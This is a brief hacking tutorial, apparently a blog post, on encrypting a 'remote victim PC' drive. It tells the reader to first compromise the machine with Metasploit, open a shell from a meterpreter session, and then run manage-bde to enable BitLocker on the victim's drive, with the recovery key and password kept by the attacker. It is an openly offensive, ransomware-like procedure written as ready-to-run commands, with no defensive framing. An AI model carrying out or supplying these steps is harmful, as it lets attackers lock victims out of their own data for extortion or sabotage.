How to Encrypt Drive of Remote Victim PC

First Hack the Victim PC Using Metaspolit (Tutorial How to Hack Remote PC)

Once you got the meterpreter session use ‘shell‘command to get command prompt of  the target.
Type manage-bde -status and press Enter.

Run the following command to enable BitLocker on your desired PC drive (in my case g drive), store the recovery key on the c:/windows/system drive, and generate a random recovery password

manage-bde -on g:  -RecoveryKey c:/windows/system  -RecoveryPassword